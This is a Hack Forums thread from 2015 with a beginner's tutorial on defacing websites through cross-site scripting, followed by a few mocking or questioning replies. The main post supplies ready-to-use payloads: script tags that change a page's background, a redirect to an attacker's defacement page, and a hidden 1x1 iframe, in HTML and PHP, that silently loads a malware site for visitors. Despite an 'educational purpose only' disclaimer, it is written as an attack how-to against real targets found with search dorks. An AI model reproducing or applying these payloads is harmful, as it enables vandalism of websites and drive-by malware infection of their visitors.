

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] How to deface website with Cross Site Scripting \[Noobs\]](#)

roothunter - February 19, 2015, 10:34 pm

Today i am gonna teach you how to deface the sites which has the XSS vulnerability .

IMP NOTE : : Never implement this technique. I am just explaining it for educational purpose only.

Defacing is one of the most common thing when the hacker found the vulnerability in website.

Defacing is changing the content the website to Hacker content.

Most of time, attacker use this technique to inform about the vulnerability to Admin.

But it's bad idea..!

i have some easiest methods to deface the Xss vuln sites .. i will be teaching u one by one .

1 - Script for changing the background Color of a website:

```
<script>document.body.bgColor="red";</script>
```

use this in your target website as

[http://www.targetwebsite.com/<script>document.body.bgColor="red";</script>](http://www.targetwebsite.com/<script>document.body.bgColor=)

2 - Script for changing the background image of a website:

```
<script>document.body.background="http://your_image.jpg/";</script>
```

3 - Defacement Page with Pastehtml:

First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :

```
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>
```

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites.

4 - Defacing with iframe Injection

What is an IFrame Injection?

Using IFrame tag, The Attackers injects the malware contain website(links)

using Cross site Scripting in popular websites.

So if the usual visitors of that popular sites opens the website,

it will redirect to malware contain website.

Malware will be loaded to your computer, now you are infected .

What an attacker can do with Iframe Injection?

Using Iframe Injection, an attacker can inject advertisements inside any other websites,

insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:

1.First of all attacker will find the Vulnerable websites using google dorks.

2. They test the vulnerability by inserting some iframe tag using the url.

3. then insert the Malicious Iframe code inside the webpage.

For Example:

he can insert this code using the url:

Code:

```
<iframe src="http://malwarewebpages/web.html" width=1 height=1  
style="visibility:hidden;position:absolute"></iframe>
```

For php webpages:

```
echo "<iframe src=\"http://malwarewebpages/web.html\" width=1 height=1  
style=\"visibility:hidden;position:absolute\"></iframe>";
```

I have just given some easy method only to deface the XSS affected page ..

It wil be NOOB friendly .. Still there are more methods to deface it.. :)

How bout using your brain - February 20, 2015, 1:13 am

yeah right, cause if I have PHP code execution, i will totally insert an iframe instead of pwning the whole site xD

Limboland™ - February 21, 2015, 4:55 am

Quote:deface website with Cross Site Scripting
XSS is client site issue.

This is stupid ???

This is very funny for blind people.

arun hacker - February 21, 2015, 5:48 am

how to know the vulnerability is persistant or non-persistant ?

Aakash Choudhary - February 21, 2015, 6:15 am

(Feb 21, 2015 06:48 AM)arun hacker Wrote: [\[CITE\]](#) how to know the vulnerability is persistent or non-persistent ?

Dude learn XSS from this course[Udemy (warez disallowed)]. I have shared XSS course in my thread

<https://hackforums.net/showthread.php?tid=4657034>